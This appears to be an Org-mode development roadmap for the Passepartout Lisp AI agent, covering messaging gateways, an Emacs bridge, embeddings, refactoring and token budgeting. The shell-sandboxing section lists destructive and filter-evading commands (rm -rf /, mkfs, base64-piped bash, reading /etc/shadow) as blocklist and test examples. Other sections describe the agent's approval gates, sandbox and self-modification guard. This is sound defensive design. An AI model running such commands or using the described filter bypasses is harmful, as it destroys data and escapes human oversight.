Bridge -CLOSED: [2026-05-06 Tue] -- State "DONE" from "TODO" [2026-05-06 Tue] - -Rationale: Passepartout currently has Telegram and Signal gateways in the codebase, both untested. The setup wizard has Slack as a configurable option with no implementation. Two messaging channels is not competitive — OpenClaw has 25+, Hermes Agent has 6+. But more critically: the Lisp crowd is Passepartout's natural audience, and they live in Emacs. An Emacs bridge that speaks the framed TCP protocol is trivial to implement (the protocol is ~200 lines of Lisp; porting to elisp is straightforward) and turns every Emacs buffer into a Passepartout interaction surface. This is not the deep Emacs integration of v0.11.2 (where the agent controls Emacs) — this is Emacs controlling the agent over TCP. The Emacs user selects a region, hits ~M-x passepartout-send-region~, and the agent responds in a dedicated buffer. They never leave their editor. - -Gateway: -- Integration tests for Telegram gateway: mock the Telegram Bot API, verify message send (POST ~/sendMessage~) and receive (GET ~/getUpdates~) round-trip. Verify HITL commands (~/approve~, ~/deny~) are intercepted before injection. -- Integration tests for Signal gateway: mock ~signal-cli~ output, verify JSON message parsing and polling loop. Verify send path constructs correct ~signal-cli send~ arguments. -- Add Discord gateway: Discord Bot API (REST + Gateway WebSocket for real-time messages). Register bot, handle ~MESSAGE_CREATE~ events, send via ~POST /channels/{id}/messages~. Map Discord mentions to ~:user-input~ signals. HITL commands work identically to Telegram. -- Add Slack gateway: Slack Events API + Web API. Subscribe to ~message.im~ events, send via ~chat.postMessage~. Reuse the SLACK_TOKEN config key already present in the setup wizard. -- Each gateway is a skill under ~passepartout.skills.gateway-~ — jail-loaded, hot-reloadable, sandbox-verified. -- Gateway configuration surfaced in the setup wizard: after entering a token, offer "send a test message to yourself" as a connection verification step. Surface the result as a green ✓ or red ✗ with the error detail. -- Gateway status displayed in ~messaging-list~: platform, configured (yes/no), gateway active (yes/no), last message received (timestamp). - -Emacs Bridge: -- Elisp package: ~passepartout.el~. Connects to daemon on localhost:9105 via ~make-network-process~ (TCP). -- Sends: framed plist protocol identical to the TUI (~frame-message~ ported to elisp — write hex length prefix, write prini'd plist). The daemon does not know or care whether the client is the Croatoan TUI, the CLI, or Emacs. -- Receives: daemon responses arrive in a ~passepartout-response~ buffer. Each response is rendered as an Org headline: role prefix, timestamp, content. Gate trace (from v0.4.0) is rendered as property drawer entries under the headline. -- ~M-x passepartout-send-region~: sends the selected region as a ~:user-input~ signal with the current buffer's file path as context. -- ~M-x passepartout-send-buffer~: sends the entire buffer. -- ~M-x passepartout-focus~: sets the foveal focus to the Org headline at point (extracts ~:ID:~ property, sends ~:point-update~ signal). Equivalent to the TUI's ~/focus~ command. -- ~M-x passepartout-approve~ / ~M-x passepartout-deny~: prompts for HITL token and sends approval/denial. -- Agent modifies an Org file → Emacs receives ~:buffer-update~ via the bridge → the buffer is refreshed (~revert-buffer~ or targeted replacement). -- The Emacs bridge is the daily driver for Lisp users. The TUI remains for non-Emacs users and for the differentiator visualizations. Emacs users get the gate trace and focus map as Org property drawers in the response buffer — same data, elisp-native rendering. - -**** DONE Native embedding inference -CLOSED: [2026-05-07 Thu] - -Implemented: in-process embedding inference via CFFI binding to llama.cpp. - -- FFI binding to llama.cpp's current (non-deprecated) embedding API via a C wrapper library (~/usr/local/lib/libllama_wrap.so~) that bridges CFFI pointer params to llama.cpp struct-by-value calls -- Builds on ~/usr/local/lib/libllama.so~ (llama.cpp shared library) -- Ship nomic-embed-text-v1.5 (80MB Q4_K_M GGUF) as the bundled embedding model. 768-dimensional vectors (nomic-bert, 12 layers), CPU-friendly, <100ms per document on any modern CPU -- ~EMBEDDING_PROVIDER=native~ enables the native backend; model preloads at daemon startup (~30s) -- Lazy loading via ~*embedding-backend* :native~ also works (first call blocks ~45s for model init) -- C wrapper functions: ~llama_wrap_model_load~, ~llama_wrap_new_context~, ~llama_wrap_encode~, ~llama_wrap_batch_init/free~ -- Struct sizes verified via C sizeof/offsetof: llama_model_params (72B), llama_context_params (136B), llama_batch (56B) -- BERT pooling: uses ~llama_get_embeddings_seq~ for sequence-level embedding -- ~sb-int:set-floating-point-modes :traps nil~ required before any llama.cpp call (FPU state conflict) -- ~llama_backend_init~ required before model load -- ~llama_model_get_vocab~ + ~llama_vocab_n_tokens~ replaces deprecated ~llama_n_vocab~ -- ~llama_tokenize~ takes ~vocab*~ not ~model*~ (API change since earlier llama.cpp versions) -- Exports: ~embedding-backend-native~, ~embedding-native-load-model~, ~embedding-native-unload~, ~embedding-native-ensure-loaded~, ~embedding-native-get-dim~ -- FiveAM tests: availability, loading, dimensions (768), self-similarity (1.0), semantic similarity ranking -- The trigram Jaccard backend remains as the default fallback for zero-config deployments - -- State "DONE" from "TODO" [2026-05-07 Thu] - -*** Competitive Advantage Analysis — v0.4.0 Summary - -Production hardening is the process of turning architectural potential into operational strength. The semantic retrieval fix activates the foveal-peripheral model's full power: deep nodes that are topically related to the user's focus now surface automatically. Without this, the context model is "dumb truncation at depth 2." With it, it's genuine semantic awareness — and since the retrieval is deterministic (in-image vector math, zero LLM tokens), the cost advantage over competitors' LLM-assisted search compounds with every query. - -The self-build safety boundary is a capability no competitor provides: the agent cannot modify its own brain stem without human review. The ~core-*~ path protection means the Dispatcher draws a line at the filesystem level, not the policy document level. Claude Code, OpenClaw, and Hermes all allow agents to modify their own source files without distinction between application code and runtime code. Passepartout's Dispatcher prevents modification of the very pipeline that implements the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. This is the operational realization of "thin harness, fat skills" — the harness is thin enough to be auditable by a human, and the Dispatcher ensures it stays that way. - -The TUI differentiator visualizations are Passepartout's permanent UX advantage. The gate trace, focus map, and rule counter are UX elements that only make sense in Passepartout's architecture — deterministic gates, foveal-peripheral context, and Dispatcher rule synthesis exist nowhere else. No competitor can ship this because none has deterministic gates to trace, foveal-peripheral context to map, or a rule-synthesizing Dispatcher to count. Combined with the TUI critical fixes from v0.3.3, the TUI is competitive on usability and uniquely informative on safety and context transparency. - -The messaging gateways and Emacs bridge expand Passepartout's interaction surface from a single terminal TUI to four surfaces: terminal, Telegram/Signal/Discord/Slack messaging, Emacs, and voice (via the voice gateway in v0.10.3). The Emacs bridge is strategically critical — the Lisp crowd is Passepartout's natural audience, and they live in Emacs. An Emacs bridge that speaks the framed TCP protocol turns every Emacs buffer into a Passepartout interaction surface. Combined with the gate trace and focus map rendered as Org property drawers in the response buffer, Emacs users get the same differentiator visualizations as TUI users — same data, elisp-native rendering. - -** v0.4.1: Design Cleanup - -*** DONE Remove system-prompt-augment mechanism -:PROPERTIES: -:ID: id-v041-augment-removal -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 13:13] -:END: - -Rationale: The ~system-prompt-augment~ slot on the skill struct enables skills to inject always-on text into every LLM system prompt via a ~maphash~ over ~*skill-registry*~ in ~think()~ (core-loop-reason.lisp:83-92). Only one skill uses it — ~programming-repl~ — and it does so as a backdoor: the skill's trigger is hardcoded to ~nil~, so it never fires as an active skill. Its sole contribution is injecting a REPL-first mandate into every system prompt. The other ~24 skills have nil augments and are skipped by the ~when aug-fn~ guard. This is architecturally wrong: standing mandates (always-on rules) should live in a dedicated ~*standing-mandates*~ list, not piggyback on a skill that is never triggered. The mechanism also fuels a false claim in DESIGN_DECISIONS about 3,000-8,000 tokens of overhead — the actual overhead is ~40 tokens from the one active augment. - -- Remove ~system-prompt-augment~ slot from the ~skill~ defstruct and ~defskill~ macro (core-skills.org:78, core-skills.org:121-133). -- Remove the ~maphash~ skill-augments collection block from ~think()~ and the associated ~(or skill-augments "")~ injection in the system-prompt ~format~ call (core-loop-reason.org:83-95, core-loop-reason.org:196-198). -- Remove ~:system-prompt-augment #'repl-mandate~ from ~programming-repl~'s ~defskill~ (programming-repl.org:269). -- Introduce ~*standing-mandates*~ (a list of function → string generators). Inject them into the IDENTITY section of the system prompt alongside ~assistant-name~. Move ~repl-mandate~ there: ~(push #'repl-mandate *standing-mandates*)~. -- Tangle the corresponding lisp/ files. - -*** DONE Fix false token-overhead claims in docs -:PROPERTIES: -:ID: id-v041-doc-fix -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 13:13] -:END: - -Rationale: Two documents claim the ~system-prompt-augment~ mechanism can waste 3,000-8,000 tokens per think() call (DESIGN_DECISIONS line 435, ROADMAP line 504). This conflates the ~maphash~ iteration (cheap hash walk, no token cost) with the augments actually emitted (only ~programming-repl~ emits ~40 tokens; the ~when aug-fn~ guard skips the other 24 nil-augment skills). Once issue #1 above is resolved (removing the mechanism), these claims become doubly false. - -- DESIGN_DECISIONS: Rewrite or remove bullet 2 under "Open Questions and Risks" (line 435). Replace with a corrected note on standing mandates via ~*standing-mandates*~. -- ROADMAP v0.5.0 intro (line 504): Remove or rewrite the claim that "system prompt overhead alone could reach 3,000-8,000 tokens per call before user input is even processed." The fixed overhead is not from skill augments — it is from the IDENTITY, TOOLS, CONTEXT, and LOGS sections, which prefix caching addresses. - -*** DONE Update security vector count 9→10 in docs -:PROPERTIES: -:ID: id-v041-vector-count -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 14:40] -:END: - -Rationale: The current dispatcher runs 10 deterministic checks (11 counting the warning-only REPL lint), but the README, ARCHITECTURE.org, and the ~dispatcher-check~ docstring all say 9. The actual count: 0=REPL-lint (warn only), 1=lisp-validation, 2=secret-path, 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval. Ten blocking/approval checks. The vector 2b (self-build safety) and the new count must be reflected accurately in all documentation. - -- Update README.org "What Makes Passepartout Different" → "nine" becomes "ten". -- Update docs/ARCHITECTURE.org Dispatcher Gate Stack table — add self-build entry. -- Update security-dispatcher.lisp:196 docstring to list all 11 vectors. - -*** DONE Rewrite README — add "What is an agent?" section, revise claims -:PROPERTIES: -:ID: id-v041-readme-rewrite -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 14:40] -:END: - -Rationale: The current README opens with competitive claims (downward cost curve, 2-3x fewer tokens) that are architecturally sound but not yet measured in the implementation. A non-engineer reader doesn't know what an AI agent is or why they'd want one. The README should lead with a short "What is an agent?" section (3-4 sentences, Wikipedia link), then "What Makes It Different" (safety, org-mode, offline — things that actually work today), then honest status of what's implemented vs planned. - -- Add "What is an AI Agent?" section at top: 3-4 sentences + link to [[https://en.wikipedia.org/wiki/Software_agent][Software agent]]. -- Move competitive cost/speed claims to docs/DESIGN_DECISIONS.org. -- Revise "The more you use it, the cheaper it gets" to reflect current state — architectural aspiration, not measured implementation yet. -- The Current Capabilities table and Quick Start sections stay intact. - -*** DONE Register cognitive tools — 10 tools for codebase operations -:PROPERTIES: -:ID: id-v041-cognitive-tools -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 14:40] -:END: - -Rationale: The ~def-cognitive-tool~ macro and ~*cognitive-tool-registry*~ are fully implemented but the registry is empty. The LLM sees "No tools registered" in its tool belt prompt. The agent can chat and run shell commands, but cannot search codebases, find files, eval code, run tests, or manipulate Org files. Ten cognitive tools bridge this gap and are prerequisites for the TDD workflow, org-mode additions, and evaluation harness in v0.5.0. - -- New skill: ~programming-tools.org~ (~programming-tools.lisp~). -- Register 10 tools via ~def-cognitive-tool~: - 1. ~search-files~ — regex search in file contents (uses ~cl-ppcre:scan~). Parameters: ~pattern~, ~path~ (dir), ~include~ (glob filter). - 2. ~find-files~ — glob file matching (uses SBCL ~directory~). Parameters: ~pattern~, ~path~. - 3. ~read-file~ — read file contents (uses ~uiop:read-file-string~). Parameters: ~filepath~. - 4. ~write-file~ — write content to file. Parameters: ~filepath~, ~content~. - 5. ~list-directory~ — list directory contents. Parameters: ~path~, ~pattern~ (optional). - 6. ~run-shell~ — execute shell command (through existing shell actuator). Parameters: ~cmd~. - 7. ~eval-form~ — evaluate Lisp expression in running image. Parameters: ~code~, ~package~ (optional). - 8. ~run-tests~ — run FiveAM tests. Parameters: ~test-name~ (optional, nil runs all). - 9. ~org-find-headline~ — find Org headline by ID or title. Parameters: ~id~ or ~title~, ~filepath~ (optional, searches memory store if not given). - 10. ~org-modify-file~ — surgical text replacement in Org file (reuses existing ~org-modify~). Parameters: ~filepath~, ~old-text~, ~new-text~. -- Descriptive names rather than Unix command names — the LLM reads these in a prompt, not a terminal. -- Each tool is ~20-60 lines. ~search-files~ iterates directory, reads files, scans lines. -- FiveAM tests: each tool gets a test verifying operation on a temp directory. - -*** DONE Enforce NO-HARDCODED-CONSTANTS programming standard -:PROPERTIES: -:ID: id-v041-no-hardcoded -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 14:40] -:END: - -Rationale: Currently, several configurable values are hardcoded in source: the Dispatcher's rule threshold (not yet configurable), similarity thresholds, timeouts, shell max output. The user should control behavior through ~.env~, not by editing source code. This is rule #6 in the ~programming-standards.org~ skill. Each new TODO that introduces a configurable value must add it to ~.env.example~ with a documented default. - -- Add ~DISPATCHER_RULE_THRESHOLD=3~ to ~.env.example~ (number of HITL approvals before a pattern becomes a permanent rule). -- Add ~RULES_FILE="$HOME/memex/system/rules.org"~ to ~.env.example~. -- Scan existing source for hardcoded configurable values — add to ~.env.example~ where missing. -- Any new TODO in v0.4.2+ that introduces a configurable value MUST include its ~.env.example~ entry. - -** v0.4.2: Structured Output (LLM → JSON → plist) - -The current ~think()~ function asks the LLM to produce raw S-expression plists. Four pieces of defensive infrastructure (~handler-case~ around ~read-from-string~, ~markdown-strip~, ~plist-keywords-normalize~, the RCE guard test) exist because LLMs cannot reliably produce balanced, keyword-prefixed plists. The fix: use the LLM API's native function calling / tool-use feature. The LLM always returns guaranteed-valid JSON. Convert to plist deterministically at the boundary. - -*** DONE Implement function-calling / tool-use API in provider requests -:PROPERTIES: -:ID: id-v042-function-calling -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 17:17] -:END: - -Rationale: Every major provider API (OpenAI, Anthropic, Groq, DeepSeek, OpenRouter) supports function calling. The LLM is sent tool definitions as JSON Schema. It returns ~tool_calls~ with guaranteed-valid JSON arguments. This eliminates the fragile ~read-from-string~ plist parsing entirely — the probabilistic layer speaks JSON (what it was trained on), the deterministic layer speaks plists (what the code controls). Conversion happens at a narrow, well-defined boundary. - -- Modify ~provider-openai-request~ in ~system-model-provider.lisp~: add optional ~:tools~ parameter. When tools are provided, include ~"tools": [...]~ and ~"tool_choice": "auto"~ in the request body. -- Parse ~tool_calls~ from the API response: extract ~function.name~ and ~function.arguments~ (guaranteed valid JSON). -- Return a new result shape: ~(:status :success :tool-calls ((:name "shell" :arguments (:cmd "echo hello"))))~ alongside or instead of ~:content~. -- For providers that don't support function calling (local Ollama): keep ~:content~ path as fallback. LLM can still return raw text. -- FiveAM test: send a request with a mock tool definition, verify the response shape. - -*** DONE Wire structured tool calls into ~think()~ — JSON→plist at boundary -:PROPERTIES: -:ID: id-v042-wire-tool-calls -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 17:17] -:END: - -Rationale: Once the provider layer returns structured ~tool-calls~, the ~think()~ function must convert them to the internal plist format that ~cognitive-verify~ and ~loop-gate-act~ expect. This is a one-way, deterministic conversion at the architectural boundary. - -- Add ~json-alist-to-plist~ helper in ~core-loop-reason.lisp~: convert JSON alist (from ~cl-json:decode-json-from-string~) to keyword-prefixed plist. String keys → keywords. Nested objects recurse. JSON null → ~nil~. ~25 lines. -- In ~think()~ after ~backend-cascade-call~: if result contains ~:tool-calls~, convert each tool call's ~:arguments~ JSON to plist via ~json-alist-to-plist~, wrap in ~(:TYPE :REQUEST :PAYLOAD (:TOOL :ARGS :EXPLANATION "..."))~. -- Keep the existing ~read-from-string~ path as fallback for providers that return raw text (local Ollama, streaming). -- The ~read-from-string~ path remains guarded by ~*read-eval* nil~ from v0.3.1. -- FiveAM test: JSON ~{"action":"shell","cmd":"echo hello"}~ → plist ~(:ACTION "shell" :CMD "echo hello")~ round-trip verified. - -** v0.4.3: Shell Sandboxing & Safety Classification - -The current shell safety is regex-based pattern matching — a fast pre-filter that catches obvious attacks but cannot contain sophisticated or encoded payloads. This version adds actual sandbox isolation (bubblewrap Linux namespaces) as the enforcement layer, and introduces severity classification so the rule learning system in v0.5.0 can apply different thresholds to catastrophic vs harmless operations. - -*** DONE Add ~bwrap~ sandbox to shell actuator -:PROPERTIES: -:ID: id-v043-bwrap-sandbox -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 17:37] -:END: - -Rationale: Regex-based shell safety catches obvious patterns (~rm -rf /~, ~dd if=~, ~mkfs.~) but is fundamentally bypassable with encoding (~base64 -d | bash~), indirection (~find / -exec rm {} \;~), or interpreter-based execution (~python3 -c "import os; os.system(...)"~). Bubblewrap (~bwrap~) is a 200KB unprivileged sandbox binary available on all modern Linux distributions. It creates transient Linux namespaces without root, without Docker, without daemon processes. Combined with the regex pre-filter, it provides defense-in-depth: the regex catches obvious attacks fast (no sandbox spawn), the sandbox contains sophisticated ones. - -- In ~actuator-shell-execute~ (~system-actuator-shell.lisp~): detect if ~bwrap~ binary is available (~which bwrap~). -- If available: wrap command in ~bwrap --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /bin /bin --ro-bind /etc /etc --bind ~/memex ~/memex --bind /tmp /tmp --unshare-net --unshare-ipc timeout ...~. -- ~--unshare-net~: no network access within sandbox. Makes regex-based network exfiltration check redundant for sandboxed commands. -- ~--unshare-ipc~: no shared memory, no semaphore injection. -- If ~bwrap~ is unavailable: log a warning, fall back to current behavior (regex-only safety). -- The regex checks remain as a fast pre-filter — they run before spawning the sandbox. -- FiveAM test: command that reads ~/etc/shadow~ inside sandbox fails with permission error; same command in unsandboxed fallback is at least caught by path protection. - -*** DONE Shell safety severity classification system -:PROPERTIES: -:ID: id-v043-severity-classification -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-07 Thu 17:37] -:END: - -Rationale: The current shell safety check treats all dangerous patterns equally — ~rm -rf /~ gets the same treatment as a backtick injection in ~echo~. But not all shell operations carry the same risk. A severity classification system enables the rule learning engine (v0.5.0) to apply different thresholds: catastrophic operations are always HITL regardless of approval count, moderate operations graduate to allowed after N approvals, harmless operations are allowed by default. - -- Define four severity tiers as plist keywords: ~:catastrophic~ (mkfs, dd to devices, rm -rf /, shred /dev/), ~:dangerous~ (chmod -R /, writes outside ~/memex, curl to unwhitelisted domains), ~:moderate~ (npm install, pip install, git push, writes within ~/memex), ~:harmless~ (echo, ls, cat, find without exec, grep). -- Extend ~*dispatcher-shell-blocked*~ entries from simple ~(NAME REGEX)~ to ~(NAME REGEX :SEVERITY )~. -- Extend ~dispatcher-check-shell-safety~ to return the severity alongside the matched pattern name. -- ~:catastrophic~ severity always triggers HITL approval, regardless of rule count. ~:harmless~ operations are allowed by default (skip HITL and rule learning). -- The severity classification is the foundation that ~dispatcher-learn~ (v0.5.0) builds on — learning only applies to ~:dangerous~ and ~:moderate~ tiers. -- FiveAM test: ~echo hello~ returns ~:harmless~ severity and passes through; ~mkfs.ext4 /dev/sda~ returns ~:catastrophic~ and is always blocked. - -** v0.5.0: File Reorganization & Token Economics - -The foundation work: rename and restructure the codebase around the self-repair criterion, extract non-core fragments from core, then build the learning loop on clean foundations. - -*** File Reorganization — self-repair criterion - -Rationale: The current file naming scheme mixes three concerns: architectural role (core-* = harness, system-* = skill), domain (security-*, programming-*, gateway-*), and implementation nature (system-model-* is LLM infrastructure, not a "system"). Worse, two fragments that can be extracted from core (context assembly, heartbeat) currently live there because the criterion for "what is core" was never defined. This reorganization establishes the criterion and applies it. - -The criterion: a file belongs in core if, when corrupted, the agent cannot fix it without human help. Corrupted core = dead brain, dead hands, or unreachable. Corrupted skill = degraded but self-repairable. - -*** DONE Extract core-context → symbolic-awareness -:PROPERTIES: -:ID: id-v050-reorg-awareness -:CREATED: [2026-05-07 Thu] -:END: - -Rationale: ~core-context.lisp~ (224 lines) handles ~context-assemble-global-awareness~, ~context-object-render~, ~context-query~, and related functions. If corrupted, the LLM receives empty awareness. But the agent still has tools, identity, and user input. It can reason about "no awareness", edit the context source file, reload the skill, and awareness returns. Degraded, not dead. Safe to extract. - -- Move ~core-context.lisp~ content to new ~symbolic-awareness.lisp~ (new ~org/symbolic-awareness.org~). -- Register as a skill via ~defskill :passepartout-symbolic-awareness~. -- In ~core-reason.lisp~'s ~think()~: wrap ~context-assemble-global-awareness~ and ~context-get-system-logs~ calls with ~fboundp~ guards. On skill failure, inject degraded awareness note. -- Remove ~core-context~ from ~passepartout.asd~ ~:components~. -- FiveAM: verify ~think()~ produces valid output when awareness skill is not loaded. - -*** DONE Extract heartbeat generation → symbolic-events -:PROPERTIES: -:ID: id-v050-reorg-heartbeat -:CREATED: [2026-05-07 Thu] -:END: - -Rationale: The heartbeat thread (~heartbeat-start~, ~*heartbeat-thread*~, auto-save counter) lives in ~core-loop.lisp~ (~50 lines). If heartbeat is corrupted or missing, the agent has no background ticks — no cron jobs, no auto-save. But the agent is fully functional: it perceives, reasons, and acts. It can detect missing ticks, reload the events skill, and heartbeat returns. Safe to extract. - -- Move heartbeat generation (~heartbeat-start~, ~*heartbeat-thread*~, ~*heartbeat-save-counter*~, ~*memory-auto-save-interval*~) from ~core-pipeline.lisp~ to ~symbolic-events.lisp~. -- Rename ~heartbeat-start~ → ~events-start-heartbeat~. -- In ~core-pipeline.lisp~'s ~main()~: change ~(heartbeat-start)~ to ~(when (fboundp 'events-start-heartbeat) (events-start-heartbeat))~. -- ~symbolic-events~ already processes ~:heartbeat~ signals for cron dispatch (existing code). Now it also generates them. - -*** DONE Relocate 6 utility fragments to correct files -:PROPERTIES: -:ID: id-v050-reorg-utilities -:CREATED: [2026-05-07 Thu] -:END: - -Rationale: Several functions live in core files not because they need core protection but because they were written there first. They are utility functions that can be extracted into skills. - -- ~markdown-strip~ (core-reason.lisp:51) → new ~programming-markdown.lisp~ (~org/programming-markdown.org~). -- ~plist-keywords-normalize~ (core-reason.lisp:60) → ~programming-lisp.lisp~. -- ~cognitive-tool-prompt~ / ~generate-tool-belt-prompt~ (core-defpackage.lisp:214-231) → ~programming-tools.lisp~. -- ~lisp-syntax-validate~ (core-skills.lisp) → ~programming-lisp.lisp~. -- ~VAULT-MASK-STRING~ + ~*VAULT-MEMORY*~ (core-skills.lisp) → ~security-vault.lisp~. -- ~*backend-registry*~ dedup: merge with ~*probabilistic-backends*~ (core-reason.lisp:10-12), remove ~backend-register~ (core-reason.lisp:18-19), update ~backend-cascade-call~ to check only one hash table. - -*** DONE Rename 6 core files — shorter, clearer names -:PROPERTIES: -:ID: id-v050-reorg-core-names -:CREATED: [2026-05-07 Thu] -:END: - -Rename mapping: -- ~core-defpackage~ → ~core-package~ -- ~core-communication~ → ~core-transport~ -- ~core-loop~ → ~core-pipeline~ -- ~core-loop-perceive~ → ~core-perceive~ -- ~core-loop-reason~ → ~core-reason~ -- ~core-loop-act~ → ~core-act~ - -Update: ASDF ~:components~, all ~:tangle~ headers in ~.org~ files, cross-file references, ~README.org~, ~ARCHITECTURE.org~, ~AGENTS.md~, ~*dispatcher-protected-paths*~ (wildcard ~core-*~ still matches — no change needed). - -*** DONE Rename 13 system-* → symbolic-/neuro-/embedding-* -:PROPERTIES: -:ID: id-v050-reorg-system-names -:CREATED: [2026-05-07 Thu] -:END: - -Rename mapping: -- ~system-config~ → ~symbolic-config~ -- ~system-diagnostics~ → ~symbolic-diagnostics~ -- ~system-archivist~ → ~symbolic-archivist~ -- ~system-event-orchestrator~ → ~symbolic-events~ -- ~system-self-improve~ → ~symbolic-self-improve~ -- ~system-context-manager~ → ~symbolic-scope~ -- ~system-memory~ → ~symbolic-memory~ -- ~system-model-provider~ → ~neuro-provider~ -- ~system-model-router~ → ~neuro-router~ -- ~system-model-explorer~ → ~neuro-explorer~ -- ~system-model-embedding~ → ~embedding-backends~ -- ~system-model-embedding-native~ → ~embedding-native~ -- ~system-actuator-shell~ → ~channel-shell~ - -*** DONE Delete ~system-model.lisp~ (16-line wrapper) - -The file delegates to ~*probabilistic-backends*~ — dead code. No skill references it directly. - -*** DONE Rename 4 gateway-* → channel-* -:PROPERTIES: -:ID: id-v050-reorg-channel-names -:CREATED: [2026-05-07 Thu] -:END: - -Rename mapping: -- ~gateway-cli~ → ~channel-cli~ -- ~gateway-tui-main~ → ~channel-tui-main~ -- ~gateway-tui-model~ → ~channel-tui-state~ -- ~gateway-tui-view~ → ~channel-tui-view~ - -Update TUI package name: ~passepartout.gateway-tui~ → ~passepartout.channel-tui~. - -*** DONE Split ~gateway-messaging~ → 4 ~channel-*~ files -:PROPERTIES: -:ID: id-v050-reorg-messaging-split -:CREATED: [2026-05-07 Thu] -:END: - -Rationale: ~gateway-messaging.lisp~ (411 lines) bundles 4 independent platforms. A Telegram fix shouldn't touch Signal/Discord/Slack code. Each platform becomes its own skill — independently loadable, hot-reloadable, self-repairable. - -- ~channel-telegram~: poll + send via Telegram Bot API. ~register-actuator :telegram~. -- ~channel-signal~: poll + send via ~signal-cli~ subprocess. ~register-actuator :signal~. -- ~channel-discord~: WebSocket events + REST POST. Replace hardcoded channel IDs with env vars. ~register-actuator :discord~. -- ~channel-slack~: Events API + ~chat.postMessage~. Replace hardcoded channel IDs. ~register-actuator :slack~. -- Delete ~gateway-messaging.lisp~. Update ~DEFSKILL-FROM-ORG~ references in ~system-config~ setup wizard. - -*** DONE Document core/non-core self-repair criterion -:PROPERTIES: -:ID: id-v050-reorg-docs -:CREATED: [2026-05-07 Thu] -:END: - -Rationale: The criterion is the architectural foundation for every discussion about "should this be core or a skill?" It must be documented where developers look. - -- New section in ~docs/ARCHITECTURE.org~: "What Makes Core Different — The Self-Repair Criterion." Explain: core = can't self-repair when corrupted, needs human. Skill = agent degrades but self-repairs. -- Include the dependency-chain analysis: which files block self-repair. -- New section in ~docs/DESIGN_DECISIONS.org~: "The Self-Repair Criterion for Core Files." Explain why ~core-context~ and heartbeat were extracted. -- Update ~README.org~ architecture summary to reflect new file map. - -*** DONE Update all cross-references after reorg -:PROPERTIES: -:ID: id-v050-reorg-crossref -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- Deleted ~gateway-messaging.org/.lisp~ (split into ~channel-{telegram,signal,discord,slack}~) -- Renamed 13 ~defskill~ / ~defpackage~ names to match new file prefixes -- Renamed ~gateway-cli-input~ → ~channel-cli-input~ (function + exports) -- Removed ~core-context~ filter from ~core-skills.lisp~ -- Exported 13 new symbols for tokenizer, cost-tracker, token-economics -- ASDF ~:components~ unchanged (8 core files) - -*** Verify: ASDF compiles, FiveAM suite passes, integration tests pass. -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -116 checks, 100% pass. Daemon boots and processes messages end-to-end. - -*** Token Economics (implemented as skills — not core) - -**Design insight: why token economics is the structural differentiator.** Passepartout's sparse-tree rendering and deterministic safety gates should produce 2–3x fewer tokens than competitors for equivalent coding tasks, and 13–24x fewer for knowledge management. Without caching and budget enforcement, the fixed overhead per call eats these savings. The architectural advantage exists in theory but requires operational plumbing to materialize. This is now implemented and running. - -*** DONE Tokenizer integration -:PROPERTIES: -:ID: id-v050-tokenizer -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~lisp/tokenizer.lisp~ (~org/tokenizer.org~): character-ratio heuristic per model family -- ~count-tokens~, ~model-token-ratio~, ~token-cost~, ~provider-token-cost~ -- Per-model pricing table: gpt-4o-mini, claude-3-5-sonnet, deepseek-chat, llama-3.1-70b, gemini-2.0-flash, etc. -- Provider-to-model mapping for all 7 cascade backends -- 11 FiveAM tests, 100% pass - -*** DONE Prompt prefix caching -:PROPERTIES: -:ID: id-v050-prefix-cache -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~lisp/token-economics.lisp~: ~prompt-prefix-cached~ — IDENTITY+TOOLS prefix cached via ~sxhash~ -- Rebuilds only when skill load, identity config, or standing mandates change -- ~fboundp~-guarded call from ~think()~ in ~core-reason.lisp~ -- 3 FiveAM tests: build, cache hit, cache miss - -*** DONE Incremental context assembly -:PROPERTIES: -:ID: id-v050-incr-context -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~lisp/token-economics.lisp~: ~context-assemble-cached~ — skips on heartbeat/delegation -- Cache invalidated when foveal-id, scope, or memory timestamp changes -- Falls back to ~[Awareness skill not loaded]~ when ~symbolic-awareness~ not ~fboundp~ -- 3 FiveAM tests: skip heartbeat, skip delegation, user-input passes through - -*** DONE Per-call token budget -:PROPERTIES: -:ID: id-v050-token-budget -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~lisp/token-economics.lisp~: ~enforce-token-budget~ — progressive trimming -- L1: truncate logs to last 5 lines; L2: drop standing mandates; L3: summary context -- ~CONTEXT_MAX_TOKENS~ env var (default 16384) -- 2 FiveAM tests: under-budget passthrough, over-budget trim - -*** DONE Cost tracking -:PROPERTIES: -:ID: id-v050-cost-tracking -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - 